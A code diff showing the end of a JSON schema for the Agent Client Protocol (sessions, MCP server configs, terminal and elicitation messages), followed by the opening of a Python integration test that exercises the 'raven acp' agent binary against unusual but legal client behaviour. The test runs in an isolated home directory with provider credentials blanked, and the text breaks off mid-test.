"x-deserialize-skip-invalid-items": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["cwd", "mcpServers"], + "x-side": "agent", + "x-method": "session/new" + }, + "McpServer": { + "description": "Configuration for connecting to an MCP (Model Context Protocol) server.\n\nMCP servers provide tools and context that the agent can use when\nprocessing prompts.\n\nSee protocol docs: [MCP Servers](https://agentclientprotocol.com/protocol/session-setup#mcp-servers)", + "anyOf": [ + { + "description": "HTTP transport configuration\n\nOnly available when the Agent capabilities indicate `mcp_capabilities.http` is `true`.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "http" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/McpServerHttp" + } + ] + }, + { + "description": "SSE transport configuration\n\nOnly available when the Agent capabilities indicate `mcp_capabilities.sse` is `true`.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "sse" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/McpServerSse" + } + ] + }, + { + "title": "stdio", + "description": "Stdio transport configuration\n\nAll Agents MUST support this transport.", + "allOf": [ + { + "$ref": "#/$defs/McpServerStdio" + } + ] + } + ] + }, + "HttpHeader": { + "description": "An HTTP header to set when making requests to the MCP server.", + "type": "object", + "properties": { + "name": { + "description": "The name of the HTTP header.", + "type": "string" + }, + "value": { + "description": "The value to set for the HTTP header.", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["name", "value"] + }, + "McpServerHttp": { + "description": "HTTP transport configuration for MCP.", + "type": "object", + "properties": { + "name": { + "description": "Human-readable name identifying this MCP server.", + "type": "string" + }, + "url": { + "description": "URL to the MCP server.", + "type": "string" + }, + "headers": { + "description": "HTTP headers to set when making requests to the MCP server.", + "type": "array", + "items": { + "$ref": "#/$defs/HttpHeader" + } + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["name", "url", "headers"] + }, + "McpServerSse": { + "description": "SSE transport configuration for MCP.", + "type": "object", + "properties": { + "name": { + "description": "Human-readable name identifying this MCP server.", + "type": "string" + }, + "url": { + "description": "URL to the MCP server.", + "type": "string" + }, + "headers": { + "description": "HTTP headers to set when making requests to the MCP server.", + "type": "array", + "items": { + "$ref": "#/$defs/HttpHeader" + } + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["name", "url", "headers"] + }, + "McpServerStdio": { + "description": "Stdio transport configuration for MCP.", + "type": "object", + "properties": { + "name": { + "description": "Human-readable name identifying this MCP server.", + "type": "string" + }, + "command": { + "description": "Absolute path to the MCP server executable.", + "type": "string" + }, + "args": { + "description": "Command-line arguments to pass to the MCP server.", + "type": "array", + "items": { + "type": "string" + } + }, + "env": { + "description": "Environment variables to set when launching the MCP server.", + "type": "array", + "items": { + "$ref": "#/$defs/EnvVariable" + } + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["name", "command", "args", "env"] + }, + "LoadSessionRequest": { + "description": "Request parameters for loading an existing session.\n\nOnly available if the Agent supports the `loadSession` capability.\n\nSee protocol docs: [Loading Sessions](https://agentclientprotocol.com/protocol/session-setup#loading-sessions)", + "type": "object", + "properties": { + "mcpServers": { + "description": "List of MCP servers to connect to for this session.", + "type": "array", + "items": { + "$ref": "#/$defs/McpServer" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "cwd": { + "description": "The working directory for this session. Must be an absolute path.", + "type": "string" + }, + "additionalDirectories": { + "description": "Additional workspace roots to activate for this session. Each path must be absolute.\n\nWhen omitted or empty, no additional roots are activated. When non-empty,\nthis is the complete resulting additional-root list for the loaded\nsession. It may differ from any previously used or reported list as long as\nthe request `cwd` matches the session's `cwd`.", + "type": "array", + "items": { + "type": "string" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "sessionId": { + "description": "The ID of the session to load.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["mcpServers", "cwd", "sessionId"], + "x-side": "agent", + "x-method": "session/load" + }, + "ListSessionsRequest": { + "description": "Request parameters for listing existing sessions.\n\nOnly available if the Agent supports the `sessionCapabilities.list` capability.", + "type": "object", + "properties": { + "cwd": { + "description": "Filter sessions by working directory. Must be an absolute path.", + "type": ["string", "null"] + }, + "cursor": { + "description": "Opaque cursor token from a previous response's nextCursor field for cursor-based pagination", + "type": ["string", "null"] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "agent", + "x-method": "session/list" + }, + "DeleteSessionRequest": { + "description": "Request parameters for deleting an existing session from `session/list`.\n\nOnly available if the Agent supports the `sessionCapabilities.delete` capability.", + "type": "object", + "properties": { + "sessionId": { + "description": "The ID of the session to delete.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId"], + "x-side": "agent", + "x-method": "session/delete" + }, + "ResumeSessionRequest": { + "description": "Request parameters for resuming an existing session.\n\nResumes an existing session without returning previous messages (unlike `session/load`).\nThis is useful for agents that can resume sessions but don't implement full session loading.\n\nOnly available if the Agent supports the `sessionCapabilities.resume` capability.", + "type": "object", + "properties": { + "sessionId": { + "description": "The ID of the session to resume.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "cwd": { + "description": "The working directory for this session. Must be an absolute path.", + "type": "string" + }, + "additionalDirectories": { + "description": "Additional workspace roots to activate for this session. Each path must be absolute.\n\nWhen omitted or empty, no additional roots are activated. When non-empty,\nthis is the complete resulting additional-root list for the resumed\nsession. It may differ from any previously used or reported list as long as\nthe request `cwd` matches the session's `cwd`.", + "type": "array", + "items": { + "type": "string" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "mcpServers": { + "description": "List of MCP servers to connect to for this session.", + "type": "array", + "items": { + "$ref": "#/$defs/McpServer" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "cwd"], + "x-side": "agent", + "x-method": "session/resume" + }, + "CloseSessionRequest": { + "description": "Request parameters for closing an active session.\n\nIf supported, the agent **must** cancel any ongoing work related to the session\n(treat it as if `session/cancel` was called) and then free up any resources\nassociated with the session.\n\nOnly available if the Agent supports the `sessionCapabilities.close` capability.", + "type": "object", + "properties": { + "sessionId": { + "description": "The ID of the session to close.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId"], + "x-side": "agent", + "x-method": "session/close" + }, + "SetSessionModeRequest": { + "description": "Request parameters for setting a session mode.", + "type": "object", + "properties": { + "sessionId": { + "description": "The ID of the session to set the mode for.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "modeId": { + "description": "The ID of the mode to set.", + "allOf": [ + { + "$ref": "#/$defs/SessionModeId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "modeId"], + "x-side": "agent", + "x-method": "session/set_mode" + }, + "SetSessionConfigOptionRequest": { + "description": "Request parameters for setting a session configuration option.", + "type": "object", + "properties": { + "sessionId": { + "description": "The ID of the session to set the configuration option for.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "configId": { + "description": "The ID of the configuration option to set.", + "allOf": [ + { + "$ref": "#/$defs/SessionConfigId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "configId"], + "anyOf": [ + { + "description": "A boolean value (`type: \"boolean\"`).", + "type": "object", + "properties": { + "value": { + "description": "The boolean value.", + "type": "boolean" + }, + "type": { + "type": "string", + "const": "boolean" + } + }, + "required": ["type", "value"] + }, + { + "title": "value_id", + "description": "A [`SessionConfigValueId`] string value.\n\nThis is the default when `type` is absent on the wire. Unknown `type`\nvalues with string payloads also gracefully deserialize into this\nvariant.", + "type": "object", + "properties": { + "value": { + "description": "The value ID.", + "allOf": [ + { + "$ref": "#/$defs/SessionConfigValueId" + } + ] + } + }, + "required": ["value"] + } + ], + "x-side": "agent", + "x-method": "session/set_config_option" + }, + "PromptRequest": { + "description": "Request parameters for sending a user prompt to the agent.\n\nContains the user's message and any additional context.\n\nSee protocol docs: [User Message](https://agentclientprotocol.com/protocol/prompt-turn#1-user-message)", + "type": "object", + "properties": { + "sessionId": { + "description": "The ID of the session to send this user message to", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "prompt": { + "description": "The blocks of content that compose the user's message.\n\nAs a baseline, the Agent MUST support [`ContentBlock::Text`] and [`ContentBlock::ResourceLink`],\nwhile other variants are optionally enabled via [`PromptCapabilities`].\n\nThe Client MUST adapt its interface according to [`PromptCapabilities`].\n\nThe client MAY include referenced pieces of context as either\n[`ContentBlock::Resource`] or [`ContentBlock::ResourceLink`].\n\nWhen available, [`ContentBlock::Resource`] is preferred\nas it avoids extra round-trips and allows the message to include\npieces of context from sources the agent may not have access to.", + "type": "array", + "items": { + "$ref": "#/$defs/ContentBlock" + } + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "prompt"], + "x-side": "agent", + "x-method": "session/prompt" + }, + "ClientResponse": { + "description": "A JSON-RPC response object.", + "anyOf": [ + { + "title": "Result", + "description": "A successful JSON-RPC response.", + "type": "object", + "properties": { + "id": { + "description": "The id of the request this response answers.", + "allOf": [ + { + "$ref": "#/$defs/RequestId" + } + ] + }, + "result": { + "description": "Method-specific response data.", + "anyOf": [ + { + "title": "WriteTextFileResponse", + "description": "Successful result returned for a `fs/write_text_file` request.", + "allOf": [ + { + "$ref": "#/$defs/WriteTextFileResponse" + } + ] + }, + { + "title": "ReadTextFileResponse", + "description": "Successful result returned for a `fs/read_text_file` request.", + "allOf": [ + { + "$ref": "#/$defs/ReadTextFileResponse" + } + ] + }, + { + "title": "RequestPermissionResponse", + "description": "Successful result returned for a `session/request_permission` request.", + "allOf": [ + { + "$ref": "#/$defs/RequestPermissionResponse" + } + ] + }, + { + "title": "CreateTerminalResponse", + "description": "Successful result returned for a `terminal/create` request.", + "allOf": [ + { + "$ref": "#/$defs/CreateTerminalResponse" + } + ] + }, + { + "title": "TerminalOutputResponse", + "description": "Successful result returned for a `terminal/output` request.", + "allOf": [ + { + "$ref": "#/$defs/TerminalOutputResponse" + } + ] + }, + { + "title": "ReleaseTerminalResponse", + "description": "Successful result returned for a `terminal/release` request.", + "allOf": [ + { + "$ref": "#/$defs/ReleaseTerminalResponse" + } + ] + }, + { + "title": "WaitForTerminalExitResponse", + "description": "Successful result returned for a `terminal/wait_for_exit` request.", + "allOf": [ + { + "$ref": "#/$defs/WaitForTerminalExitResponse" + } + ] + }, + { + "title": "KillTerminalResponse", + "description": "Successful result returned for a `terminal/kill` request.", + "allOf": [ + { + "$ref": "#/$defs/KillTerminalResponse" + } + ] + }, + { + "title": "CreateElicitationResponse", + "description": "Successful result returned for a `elicitation/create` request.", + "allOf": [ + { + "$ref": "#/$defs/CreateElicitationResponse" + } + ] + }, + { + "title": "ExtMethodResponse", + "description": "Successful result returned by an extension method outside the core ACP method set.", + "allOf": [ + { + "$ref": "#/$defs/ExtResponse" + } + ] + } + ] + } + }, + "required": ["id", "result"] + }, + { + "title": "Error", + "description": "A failed JSON-RPC response.", + "type": "object", + "properties": { + "id": { + "description": "The id of the request this response answers.", + "allOf": [ + { + "$ref": "#/$defs/RequestId" + } + ] + }, + "error": { + "description": "Method-specific error data.", + "allOf": [ + { + "$ref": "#/$defs/Error" + } + ] + } + }, + "required": ["id", "error"] + } + ], + "x-docs-ignore": true + }, + "WriteTextFileResponse": { + "description": "Response to `fs/write_text_file`", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "client", + "x-method": "fs/write_text_file" + }, + "ReadTextFileResponse": { + "description": "Response containing the contents of a text file.", + "type": "object", + "properties": { + "content": { + "description": "Content payload returned by this response.", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["content"], + "x-side": "client", + "x-method": "fs/read_text_file" + }, + "RequestPermissionResponse": { + "description": "Response to a permission request.", + "type": "object", + "properties": { + "outcome": { + "description": "The user's decision on the permission request.", + "allOf": [ + { + "$ref": "#/$defs/RequestPermissionOutcome" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["outcome"], + "x-side": "client", + "x-method": "session/request_permission" + }, + "RequestPermissionOutcome": { + "description": "The outcome of a permission request.", + "oneOf": [ + { + "description": "The prompt turn was cancelled before the user responded.\n\nWhen a client sends a `session/cancel` notification to cancel an ongoing\nprompt turn, it MUST respond to all pending `session/request_permission`\nrequests with this `Cancelled` outcome.\n\nSee protocol docs: [Cancellation](https://agentclientprotocol.com/protocol/prompt-turn#cancellation)", + "type": "object", + "properties": { + "outcome": { + "type": "string", + "const": "cancelled" + } + }, + "required": ["outcome"] + }, + { + "description": "The user selected one of the provided options.", + "type": "object", + "properties": { + "outcome": { + "type": "string", + "const": "selected" + } + }, + "required": ["outcome"], + "allOf": [ + { + "$ref": "#/$defs/SelectedPermissionOutcome" + } + ] + } + ], + "discriminator": { + "propertyName": "outcome" + } + }, + "SelectedPermissionOutcome": { + "description": "The user selected one of the provided options.", + "type": "object", + "properties": { + "optionId": { + "description": "The ID of the option the user selected.", + "allOf": [ + { + "$ref": "#/$defs/PermissionOptionId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["optionId"] + }, + "CreateTerminalResponse": { + "description": "Response containing the ID of the created terminal.", + "type": "object", + "properties": { + "terminalId": { + "description": "The unique identifier for the created terminal.", + "allOf": [ + { + "$ref": "#/$defs/TerminalId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["terminalId"], + "x-side": "client", + "x-method": "terminal/create" + }, + "TerminalOutputResponse": { + "description": "Response containing the terminal output and exit status.", + "type": "object", + "properties": { + "output": { + "description": "The terminal output captured so far.", + "type": "string" + }, + "truncated": { + "description": "Whether the output was truncated due to byte limits.", + "type": "boolean" + }, + "exitStatus": { + "description": "Exit status if the command has completed.", + "anyOf": [ + { + "$ref": "#/$defs/TerminalExitStatus" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["output", "truncated"], + "x-side": "client", + "x-method": "terminal/output" + }, + "TerminalExitStatus": { + "description": "Exit status of a terminal command.", + "type": "object", + "properties": { + "exitCode": { + "description": "The process exit code (may be null if terminated by signal).", + "type": ["integer", "null"], + "format": "uint32", + "minimum": 0, + "x-deserialize-default-on-error": true + }, + "signal": { + "description": "The signal that terminated the process (may be null if exited normally).", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "ReleaseTerminalResponse": { + "description": "Response to terminal/release method", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "client", + "x-method": "terminal/release" + }, + "WaitForTerminalExitResponse": { + "description": "Response containing the exit status of a terminal command.", + "type": "object", + "properties": { + "exitCode": { + "description": "The process exit code (may be null if terminated by signal).", + "type": ["integer", "null"], + "format": "uint32", + "minimum": 0, + "x-deserialize-default-on-error": true + }, + "signal": { + "description": "The signal that terminated the process (may be null if exited normally).", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "client", + "x-method": "terminal/wait_for_exit" + }, + "KillTerminalResponse": { + "description": "Response to `terminal/kill` method", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "client", + "x-method": "terminal/kill" + }, + "CreateElicitationResponse": { + "description": "Response from the client to an elicitation request.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "anyOf": [ + { + "description": "The user accepted and provided content.", + "type": "object", + "properties": { + "action": { + "type": "string", + "const": "accept" + } + }, + "required": ["action"], + "allOf": [ + { + "$ref": "#/$defs/ElicitationAcceptAction" + } + ] + }, + { + "description": "The user declined the elicitation.", + "type": "object", + "properties": { + "action": { + "type": "string", + "const": "decline" + } + }, + "required": ["action"] + }, + { + "description": "The elicitation was cancelled.", + "type": "object", + "properties": { + "action": { + "type": "string", + "const": "cancel" + } + }, + "required": ["action"] + }, + { + "title": "other", + "description": "Custom or future elicitation action.\n\nValues beginning with `_` are reserved for implementation-specific\nextensions. Unknown values that do not begin with `_` are reserved for\nfuture ACP variants.\n\nAgents that do not understand this action should preserve the raw\npayload when storing, replaying, proxying, or forwarding elicitation\nresponses. They MUST NOT treat it as a known elicitation action.", + "type": "object", + "properties": { + "action": { + "description": "Custom or future elicitation action.\n\nValues beginning with `_` are reserved for implementation-specific\nextensions. Unknown values that do not begin with `_` are reserved for\nfuture ACP variants.", + "type": "string" + } + }, + "required": ["action"], + "not": { + "anyOf": [ + { + "type": "object", + "properties": { + "action": { + "type": "string", + "const": "accept" + } + }, + "required": ["action"] + }, + { + "type": "object", + "properties": { + "action": { + "type": "string", + "const": "decline" + } + }, + "required": ["action"] + }, + { + "type": "object", + "properties": { + "action": { + "type": "string", + "const": "cancel" + } + }, + "required": ["action"] + } + ] + }, + "additionalProperties": true + } + ], + "x-side": "client", + "x-method": "elicitation/create" + }, + "ElicitationContentValue": { + "description": "Allowed wire representations for [`ElicitationContentValue`].", + "anyOf": [ + { + "title": "String", + "description": "String value accepted in elicitation response content.", + "type": "string" + }, + { + "title": "Integer", + "description": "Integer value accepted in elicitation response content.", + "type": "integer", + "format": "int64" + }, + { + "title": "Number", + "description": "Number value accepted in elicitation response content.", + "type": "number", + "format": "double" + }, + { + "title": "Boolean", + "description": "Boolean value accepted in elicitation response content.", + "type": "boolean" + }, + { + "title": "StringArray", + "description": "String array value accepted in elicitation response content.", + "type": "array", + "items": { + "type": "string" + } + } + ] + }, + "ElicitationAcceptAction": { + "description": "The user accepted the elicitation and provided content.", + "type": "object", + "properties": { + "content": { + "description": "The user-provided content, if any, as an object matching the requested schema.", + "type": ["object", "null"], + "additionalProperties": { + "$ref": "#/$defs/ElicitationContentValue" + } + } + } + }, + "ClientNotification": { + "description": "A JSON-RPC notification object.", + "type": "object", + "properties": { + "method": { + "description": "The notification method name.", + "type": "string" + }, + "params": { + "description": "Method-specific notification parameters.", + "anyOf": [ + { + "description": "All possible notifications that a client can send to an agent.\n\nThis enum is used internally for routing RPC notifications. You typically won't need\nto use this directly.\n\nNotifications do not expect a response.", + "anyOf": [ + { + "title": "CancelNotification", + "description": "Cancels ongoing operations for a session.\n\nThis is a notification sent by the client to cancel an ongoing prompt turn.\n\nUpon receiving this notification, the Agent SHOULD:\n- Stop all language model requests as soon as possible\n- Abort all tool call invocations in progress\n- Send any pending `session/update` notifications\n- Respond to the original `session/prompt` request with `StopReason::Cancelled`\n\nSee protocol docs: [Cancellation](https://agentclientprotocol.com/protocol/prompt-turn#cancellation)", + "allOf": [ + { + "$ref": "#/$defs/CancelNotification" + } + ] + }, + { + "title": "ExtNotification", + "description": "Handles extension notifications from the client.\n\nExtension notifications provide a way to send one-way messages for custom functionality\nwhile maintaining protocol compatibility.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "allOf": [ + { + "$ref": "#/$defs/ExtNotification" + } + ] + } + ] + }, + { + "type": "null" + } + ] + } + }, + "required": ["method"], + "x-docs-ignore": true + }, + "CancelNotification": { + "description": "Notification to cancel ongoing operations for a session.\n\nSee protocol docs: [Cancellation](https://agentclientprotocol.com/protocol/prompt-turn#cancellation)", + "type": "object", + "properties": { + "sessionId": { + "description": "The ID of the session to cancel operations for.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId"], + "x-side": "agent", + "x-method": "session/cancel" + }, + "CancelRequestNotification": { + "description": "Notification to cancel an ongoing request.\n\nSee protocol docs: [Cancellation](https://agentclientprotocol.com/protocol/cancellation)", + "type": "object", + "properties": { + "requestId": { + "description": "The ID of the request to cancel.", + "allOf": [ + { + "$ref": "#/$defs/RequestId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["requestId"], + "x-side": "protocol", + "x-method": "$/cancel_request" + } + } +} diff --git a/tests/integration/test_acp_adversarial_smoke.py b/tests/integration/test_acp_adversarial_smoke.py new file mode 100644 index 00000000..af0a6fb7 --- /dev/null +++ b/tests/integration/test_acp_adversarial_smoke.py @@ -0,0 +1,376 @@ +"""``raven acp`` under a client that is legal and unhelpful. + +Every case here is something a real client does -- string request ids, a version +of the wrong type, two requests in flight, a frame split across writes -- and +each one is a place an agent can be accidentally right. The point of driving the +real binary is that none of it is mocked: real pipes, real framing, real +concurrency, real teardown. + +The agent home is a throwaway directory, which also means no provider is +configured. That is deliberate rather than a limitation: it makes the run +reproducible, and it puts the "a turn could not start" path -- which must still +answer with a stop reason rather than an error -- on the happy path of the test +instead of behind a credential. + +Isolating it takes three things, not one. ``RAVEN_HOME`` moves only tracing and +runtime data; ``get_config_path`` reads ``Path.home() / ".raven/config.json"`` +whatever it says, and a provider key in the environment is read before either. +With only ``RAVEN_HOME`` set, this file loaded the operator's own configuration, +sent its ``hello`` prompt to a real provider, and hung until the case timed out +-- a test that advertises itself as credential-free spending somebody's key, and +answering differently on every machine. + +Marked ``integration`` because it spawns the binary. +""" + +from __future__ import annotations + +import asyncio +import json + +import pytest + +from tests.acp_schema import validate_inbound, validate_outbound +from tests.acp_stub_client import raven_binary, stub_client + +pytestmark = pytest.mark.integration + + +def _provider_env_keys() -> tuple[str, ...]: + """Every environment variable a provider would read a credential from. + + Read off the registry rather than listed here, so a provider added later is + isolated by the same fixture instead of quietly re-arming this file. + """ + from raven.providers.registry import PROVIDERS + + return tuple(sorted({spec.env_key for spec in PROVIDERS if getattr(spec, "env_key", None)})) + + +@pytest.fixture +def home(tmp_path): + if not raven_binary().exists(): + pytest.skip(f"raven console script not installed at {raven_binary()}") + root = tmp_path / "home" + user = tmp_path / "user" + user.mkdir() + env = { + "RAVEN_HOME": str(root), + # What actually moves the config file. USERPROFILE alongside it because + # that is the one ``Path.home()`` reads on Windows. + "HOME": str(user), + "USERPROFILE": str(user), + } + # Emptied rather than left alone: a key in the parent's environment reaches + # the child whatever the config file says, and this suite's contract is that + # no turn here can reach a provider. + env.update({key: "" for key in _provider_env_keys()}) + return env + + +@pytest.fixture +def project(tmp_path): + path = tmp_path / "project" + path.mkdir() + return path + + +class TestRequestIds: + async def test_a_string_id_comes_back_as_the_same_string(self, home): + """The stub mints string ids by default. An agent that keyed its pending + map by ``int`` answers with a number, and the client never 